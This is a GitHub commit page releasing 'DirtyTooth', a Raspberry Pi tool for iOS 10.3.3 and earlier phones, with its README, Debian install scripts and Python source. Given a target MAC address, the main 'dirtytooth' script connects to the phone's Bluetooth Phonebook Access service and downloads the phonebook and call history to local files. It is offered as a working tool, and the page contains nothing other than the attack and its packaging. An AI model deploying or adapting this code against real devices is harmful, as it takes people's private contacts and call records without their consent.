Skip to content

Commit 627a32f

Browse files
authored
Merge pull request #1 from toolsprods/master
First release
2 parents d03ca35 + 386d0a8 commit 627a32f

File tree

13 files changed

+679
-1
lines changed

13 files changed

+679
-1
lines changed

README.md

Lines changed: 33 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1,33 @@
1-
# DirtyTooth-RaspberryPi
1+
![Version](https://img.shields.io/badge/Raspberry_Pi-DirtyTooth-red.svg?style=flat-square)
2+
![License](https://img.shields.io/badge/license-AGPL-green.svg?style=flat-square)
3+
4+
# DirtyTooth for Raspberry Pi
5+
6+
Bluetooth communications are on the increase. Millions of users use the technology to connect to peripherals that simplify and provide greater comfort and experience.
7+
There is a trick or hack for iOS 10.3.3 and earlier that takes advantage of the management of the profiles causing impact on the privacy of users who use Bluetooth technology daily.
8+
From the iOS device information leak caused by the incorrect management of profiles, a lot of information about the user and their background may be obtained.
9+
10+
Compile
11+
=======
12+
In order to compile the packet, execute the command on the dirtytooth folder:
13+
```
14+
sudo dpkg-deb -b dirtytooth/ dirtytooth.deb
15+
```
16+
If you do not want to compile the packet, just download the release and install it.
17+
18+
Install
19+
=======
20+
Simply download the release and run the *install.sh* script:
21+
```
22+
sudo ./install.sh
23+
```
24+
If you want to install it manually, you need to prepare the dependences and install the *dirtytooth.deb* packet:
25+
```
26+
sudo apt-get update
27+
sudo apt-get install pi-bluetooth libbluetooth-dev python-dev python-dbus python-pip python-gobject python-gobject-2 git pulseaudio pulseaudio-module-bluetooth
28+
sudo dpkg -i dirtytooth.deb
29+
```
30+
31+
License
32+
=======
33+
This project is licensed under the AGPL Affero General Public License - see the LICENSE file for details

dirtytooth/DEBIAN/control

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
Package: dirtytooth
2+
Version: 1.0
3+
Section: base
4+
Priority: optional
5+
Architecture: armhf
6+
Depends: pi-bluetooth, libbluetooth-dev, python-dev, python-dbus, python-pip, python-gobject, python-gobject-2, git, pulseaudio, pulseaudio-module-bluetooth
7+
Maintainer: Eleven Paths <labs@elevenpaths.com>
8+
Description: Dirtytooth package
9+
DirtyTooth is a small hack that takes advantage of the iOS configuration as far as bluetooth profile management is concerned, through this little hack you can extract information from users an their environment.

dirtytooth/DEBIAN/postinst

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
#!/bin/bash
2+
# Postinstallation dirtytooth package
3+
4+
nobexurl="https://github.com/nccgroup/nOBEX.git"
5+
nobexcommit="0583c72"
6+
7+
# Detect if PyBluez is installed
8+
pybluez=$(pip list | grep PyBluez)
9+
if [ "$pybluez" == "" ] ; then
10+
sudo pip install pybluez==0.22
11+
fi
12+
13+
# Detect if nOBEX is installed
14+
nobex=$(pip list | grep nOBEX)
15+
if [ "$nobex" == "" ] ; then
16+
cd /tmp
17+
git clone $nobexurl
18+
cd nOBEX
19+
git reset --hard $nobexcommit
20+
python setup.py install
21+
cd /tmp
22+
rm -rf nOBEX
23+
fi
24+
25+
# Detect if psutil is installed
26+
psutil=$(pip list | grep psutil)
27+
if [ "$psutil" == "" ] ; then
28+
sudo pip install psutil==5.2.2
29+
fi
30+
31+
my_sudo_user=$SUDO_USER
32+
sudo usermod -a -G lp $my_sudo_user
33+
34+
sed -i '/.*resample-method =.*/c\resample-method = trivial' /etc/pulse/daemon.conf
35+
36+
# Add audio hook
37+
audiohook=$(cat /etc/udev/rules.d/99-com.rules | grep /usr/lib/udev/bluetooth)
38+
if [ "$audiohook" == "" ] ; then
39+
sudo sed -i '/SUBSYSTEM=="input".*/a KERNEL=="input\[0-9\]*", RUN+="/usr/lib/udev/bluetooth"' /etc/udev/rules.d/99-com.rules
40+
fi
41+
42+
echo "Dirtytooth installation finished"

dirtytooth/DEBIAN/postrm

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#!/bin/bash
2+
# Post remove script for dirtytooth package
3+
4+
# Delete audio hook
5+
audiohook=$(cat /etc/udev/rules.d/99-com.rules | grep /usr/lib/udev/bluetooth)
6+
if [ "$audiohook" != "" ] ; then
7+
sudo sed -i '/.*\/usr\/lib\/udev\/bluetooth"/d' /etc/udev/rules.d/99-com.rules
8+
fi
9+
10+
echo "Dirtytooth package removed"

dirtytooth/DEBIAN/preinst

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
#!/bin/bash
2+
# Preinstallation dirtytooth package
3+
4+
if ping -q -c 1 -W 1 8.8.8.8 >/dev/null; then
5+
echo "Welcome to Dirtytooth installer"
6+
else
7+
echo "Dirtytooth installer needs Internet to install the necessary dependencies."
8+
exit 1
9+
fi

dirtytooth/DEBIAN/prerm

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
#!/bin/bash
2+
# Pre remove script for dirtytooth package
3+
4+
my_sudo_user=$SUDO_USER
5+
sudo gpasswd -d $my_sudo_user lp
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
[General]:
2+
Enable=Source,Sink,Media,Socket

dirtytooth/usr/bin/dirtytooth

Lines changed: 121 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
#!/usr/bin/python
2+
# -*- coding: utf-8 -*-
3+
4+
import os
5+
import sys
6+
import time
7+
import psutil
8+
import logging
9+
import argparse
10+
import datetime
11+
import bluetooth
12+
import subprocess
13+
from nOBEX import client, headers, responses
14+
15+
START_PATH = '/usr/lib/dirtytooth/start'
16+
FILES_PATH = '/root/dirtytooth/'
17+
LOG_PATH = '/var/log/bluetooth_dev'
18+
19+
parser = argparse.ArgumentParser(description='Dirtytooth package',
20+
epilog="Enjoy with dirtytooth!")
21+
group = parser.add_mutually_exclusive_group(required=True)
22+
group.add_argument('--start', action='store_true', help='Start agent discover')
23+
group.add_argument('--stop', action='store_true', help='Stop agent discover')
24+
group.add_argument('--mac', help='MAC device to get dirtytooth! }:)')
25+
args = parser.parse_args()
26+
27+
28+
def get_pid():
29+
for proc_name in psutil.pids():
30+
if psutil.Process(proc_name).name() == 'dirtyagent':
31+
return psutil.Process(proc_name).pid
32+
return None
33+
34+
35+
def write_file(filename, file):
36+
with open(FILES_PATH + filename, "w") as f:
37+
f.write(file)
38+
39+
40+
def get_name(addr):
41+
return subprocess.check_output(["/usr/lib/dirtytooth/device",
42+
"name", addr], shell=False)
43+
44+
45+
def connect(device_address):
46+
d = bluetooth.find_service(address=device_address, uuid="1130")
47+
if not d:
48+
logging.error('No Phonebook service found.')
49+
sys.exit(1)
50+
51+
port = d[0]["port"]
52+
53+
# Use the generic Client class to connect to the phone.
54+
c = client.Client(device_address, port)
55+
uuid = b'\x79\x61\x35\xf0\xf0\xc5\x11\xd8\x09\x66\x08\x00\x20\x0c\x9a\x66'
56+
result = c.connect(header_list=[headers.Target(uuid)])
57+
58+
if not isinstance(result, responses.ConnectSuccess):
59+
logging.error('Failed to connect to phone.')
60+
sys.exit(1)
61+
62+
return c
63+
64+
65+
def get_file(c, src_path, filename, book=True):
66+
if book:
67+
mimetype = b'x-bt/phonebook'
68+
else:
69+
mimetype = b'x-bt/vcard'
70+
71+
hdrs, file = c.get(src_path, header_list=[headers.Type(mimetype)])
72+
write_file(filename, file)
73+
logging.info('%s save!' % filename)
74+
75+
76+
def main():
77+
logging.basicConfig(format='%(levelname)s:%(message)s',
78+
filename=LOG_PATH,
79+
level=logging.DEBUG)
80+
81+
if args.start:
82+
if get_pid():
83+
print('Process dirtyagent is already open!')
84+
else:
85+
subprocess.call([START_PATH], shell=True)
86+
elif args.stop:
87+
pid = get_pid()
88+
if pid:
89+
p = psutil.Process(pid)
90+
p.terminate()
91+
else:
92+
print('Process dirtyagent doesn´t exist')
93+
else:
94+
if get_pid():
95+
print('Dirtytooth: Getting device info: %s' % args.mac)
96+
97+
device_address = args.mac
98+
99+
c = connect(device_address)
100+
101+
if not os.path.isdir(FILES_PATH):
102+
os.mkdir(FILES_PATH)
103+
104+
date = datetime.datetime.fromtimestamp(time.time()).strftime('%Y%m%d%H%M%S')
105+
106+
get_file(c, "telecom/pb.vcf",
107+
"%s-UTC_%s_phonebook" % (date, device_address))
108+
get_file(c, "telecom/cch.vcf",
109+
"%s-UTC_%s_history" % (date, device_address))
110+
111+
c.disconnect()
112+
return 0
113+
else:
114+
print('Process dirtyagent doesn´t exist')
115+
116+
117+
if __name__ == "__main__":
118+
if os.geteuid() != 0:
119+
print "Dirtytooth must be executed as root."
120+
sys.exit(1)
121+
sys.exit(main())
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
import dbus
2+
3+
SERVICE_NAME = "org.bluez"
4+
ADAPTER_INTERFACE = SERVICE_NAME + ".Adapter1"
5+
DEVICE_INTERFACE = SERVICE_NAME + ".Device1"
6+
7+
def get_managed_objects():
8+
bus = dbus.SystemBus()
9+
manager = dbus.Interface(bus.get_object("org.bluez", "/"),
10+
"org.freedesktop.DBus.ObjectManager")
11+
return manager.GetManagedObjects()
12+
13+
def find_adapter(pattern=None):
14+
return find_adapter_in_objects(get_managed_objects(), pattern)
15+
16+
def find_adapter_in_objects(objects, pattern=None):
17+
bus = dbus.SystemBus()
18+
for path, ifaces in objects.iteritems():
19+
adapter = ifaces.get(ADAPTER_INTERFACE)
20+
if adapter is None:
21+
continue
22+
if not pattern or pattern == adapter["Address"] or \
23+
path.endswith(pattern):
24+
obj = bus.get_object(SERVICE_NAME, path)
25+
return dbus.Interface(obj, ADAPTER_INTERFACE)
26+
raise Exception("Bluetooth adapter not found")
27+
28+
def find_device(device_address, adapter_pattern=None):
29+
return find_device_in_objects(get_managed_objects(), device_address,
30+
adapter_pattern)
31+
32+
def find_device_in_objects(objects, device_address, adapter_pattern=None):
33+
bus = dbus.SystemBus()
34+
path_prefix = ""
35+
if adapter_pattern:
36+
adapter = find_adapter_in_objects(objects, adapter_pattern)
37+
path_prefix = adapter.object_path
38+
for path, ifaces in objects.iteritems():
39+
device = ifaces.get(DEVICE_INTERFACE)
40+
if device is None:
41+
continue
42+
if (device["Address"] == device_address and
43+
path.startswith(path_prefix)):
44+
obj = bus.get_object(SERVICE_NAME, path)
45+
return dbus.Interface(obj, DEVICE_INTERFACE)
46+
47+
raise Exception("Bluetooth device not found")

0 commit comments

Comments
 (0)